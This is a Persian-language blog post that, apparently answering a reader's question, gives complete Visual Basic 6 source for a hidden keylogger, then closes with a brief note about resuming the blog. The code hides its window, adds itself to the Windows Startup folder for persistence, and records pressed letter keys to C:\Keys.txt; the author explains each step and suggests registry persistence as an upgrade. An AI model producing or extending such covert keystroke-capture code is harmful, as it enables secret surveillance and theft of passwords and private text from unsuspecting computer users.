جواب به سوال
خوب برای شروع دوباره یکی از سوالات رو جواب میدم: آقای رضا سوالیو مطرح کردن : یک خواهش دارم لطفا طرز نوشتن یک
این کار یکمی کار داره و یکم مشکلاتی داره ولی من برای نمونه کد رو به شما میدم و یه توضیحاتی هم میدم شما خودت کد ها رو میتونی به دلخواه تغییر بدی:
اول یه فرم بسازین و یه تایمر با Interval 70 (این خیلی مهمه و مشلاتی رو هم ایجاد میکنه) در اون قرار بدین و:
Private Declare Function GetKeyState Lib "user32.dll" (ByVal nVirtKey As Long) As Integer
Private Declare Function fCreateShellLink Lib "vb6stkit.dll" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArguments As String, ByVal fPrivate As Long, ByVal sParent As String) As Long
Dim LenFile As Integer, Lenstr As String
Private Sub PRINTK(KeyStr As String)
Open "C:\Keys.txt" For Binary As #1 ''Open File For Write Keys
Get #1, 1, Lenstr ''Get Text Of File
LenFile = Len(Replace(Lenstr, Chr(0), "")) + 1 ''Get Length Of File
Put #1, LenFile, KeyStr '''Write New Key In File
Close #1 '' Close The File
End Sub
Private Sub Form_Load()
On Error Resume Next
Me.Hide ''Unvisible Form
fCreateShellLink "StartUp", "Keys", App.Path & "\" & App.EXEName & ".Exe", "", True, "$(Programs)" '''Create ShortCut In Start Up Menu
Lenstr = String(10000, 0) '''Set Length Of 'Lenstr' For Put Text Of File To It
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
If GetKeyState(vbKeyA) And &H8000 Then '''If Key :A Pressed Do Events
PRINTK "A"
ElseIf GetKeyState(vbKeyB) And &H8000 Then: PRINTK "B"
ElseIf GetKeyState(vbKeyC) And &H8000 Then: PRINTK "C"
ElseIf GetKeyState(vbKeyD) And &H8000 Then: PRINTK "D"
ElseIf GetKeyState(vbKeyE) And &H8000 Then: PRINTK "E"
ElseIf GetKeyState(vbKeyF) And &H8000 Then: PRINTK "F"
ElseIf GetKeyState(vbKeyG) And &H8000 Then: PRINTK "G"
ElseIf GetKeyState(vbKeyH) And &H8000 Then: PRINTK "H"
ElseIf GetKeyState(vbKeyI) And &H8000 Then: PRINTK "I"
ElseIf GetKeyState(vbKeyJ) And &H8000 Then: PRINTK "J"
ElseIf GetKeyState(vbKeyK) And &H8000 Then: PRINTK "K"
ElseIf GetKeyState(vbKeyL) And &H8000 Then: PRINTK "L"
ElseIf GetKeyState(vbKeyM) And &H8000 Then: PRINTK "M"
ElseIf GetKeyState(vbKeyN) And &H8000 Then: PRINTK "N"
ElseIf GetKeyState(vbKeyO) And &H8000 Then: PRINTK "O"
ElseIf GetKeyState(vbKeyP) And &H8000 Then: PRINTK "P"
ElseIf GetKeyState(vbKeyQ) And &H8000 Then: PRINTK "Q"
ElseIf GetKeyState(vbKeyR) And &H8000 Then: PRINTK "R"
ElseIf GetKeyState(vbKeyS) And &H8000 Then: PRINTK "S"
ElseIf GetKeyState(vbKeyT) And &H8000 Then: PRINTK "T"
ElseIf GetKeyState(vbKeyU) And &H8000 Then: PRINTK "U"
ElseIf GetKeyState(vbKeyV) And &H8000 Then: PRINTK "V"
ElseIf GetKeyState(vbKeyW) And &H8000 Then: PRINTK "W"
ElseIf GetKeyState(vbKeyX) And &H8000 Then: PRINTK "X"
ElseIf GetKeyState(vbKeyY) And &H8000 Then: PRINTK "Y"
ElseIf GetKeyState(vbKeyZ) And &H8000 Then: PRINTK "Z"
End If
End Sub
این کد فقط کلید های
A تا Z رو چک میکنه که شما همنطور که میبینسن میتونین بقیه رو هم بش اضافه کنین::
برای اینکه ما بفهمیم که چه کلیدی فشرده میشه از تابع ای پی آی
GetKeyStateاستفاده میکنیم.این تابع یه مقدار که نشون دهنده یکی از کلید های کیبرد هست رو از ما میگیره و به ما میگه که در اون
لحظه این کلید فشره شده یا نه.برای همین هم ما باید به تعداد کلید های صفحه کلید این تابع رو فرخوانی کنیم!
برای توضیحات از زمان لود شدن برنامه شروع میکنم
وقتی فرم لود میشه با استفاده از متد
Me.Hideبرنامه رو به شکل مخفی در میاریم.بعد با استفاده از تابع
fCreateShellLink که قبلا توضیحشو دادمیه شورت کات از برنامه توی اسارت آپ میزاریم تا با بالا آمدن ویندوز برنامه ما هم باز بشه
البته اگه میخواهین برنامه شما پیشرفته تر بشه میتونین از رجیستر استفاده کنین که قبلا آموزششو دادم
بعدش هم به متغییری که بعدا برای خوندن فایل بش نیاز داریم 10000 تا کاراکتر خالی اختصاص میدیم
که اين مقدار بايد از طول فايل C:\Keys.txt بيشتر باشه (در این مورد بعدا توضیح میدم)
بعدش هم به تعداد حروف کیبرد تابعی که گفتم رو فرخوانی میکنیم که من برای همیه کلید ها کد رو ننوشتم شما باید خودتون اضافه کنین.هر بار که کد چک میشه اگه کلید فشرده شده بود سابروتینی که برای نوشتن توی یه فایل نوشته بودیمش فراخانی میشه و مقدار مورد نیازش که همون کلید هست بش داده میشه
میریم سراغ سابروتین:
Private Sub PRINTK(KeyStr As String)
Open "C:\Keys.txt" For Binary As #1 ''Open File For Write Keys
Get #1, 1, Lenstr ''Get Text Of File
LenFile = Len(Replace(Lenstr, Chr(0), "")) + 1 ''Get Length Of File
Put #1, LenFile, KeyStr '''Write New Key In File
Close #1 '' Close The File
End Sub
ما برای نوشتن فایل
C:\Keys.txt رو به صورت باینری(که بعدا توضیح میدم)باز میکنیم.بعد با دستور
Get محتویات این فایل رو داخل متغییر LenStr قرار میدیمتوی خط بعد هم تعداد کاراکتر های غیر صفر این متغییر رو بدست میاریم
این کارا رو ما برای این کردیم که بفمیم توی فایل مربوطه قبلا چند تا کاراکتر نوشته شده و ما بفهمیم کجا باید کلید جدید
رو داخل فایل بنویسیم که این مارو ما در خط بعد انجام میدیم
بعدش هم فایل رو میبندیم.فکر کنم همچی رو توضیح دادم-اگه مشکلی هست بگین تا توضیح بدم
فعلا بای!
دوباره ميسازمت وبلاگ...اگرچه با مطلب های خويش!
سلام
؛؛
شرمنده ام که ۳۰-۴۰ روزی نتونستم اين وبلاگ رو آپدين کنم

دلايل زيادی داشت>درس ها زياد بودن(و هنوزم هستن!!).مطلب به درد بخور نداشتم(هنوزم ندارم!!) حالشو نداشتم(اما حالا دارم!
)و....
-به هر حال اين مطلب رو نوشتم که بگم هنوز هم هستم و دوباره شروع ميکنم
-از کسانی که جواب سوالاشونو ندادم شرمنده ام به زودی جواب ميدم
-نظرتون راجع به اين يکی غالب چيه؟!
-بای
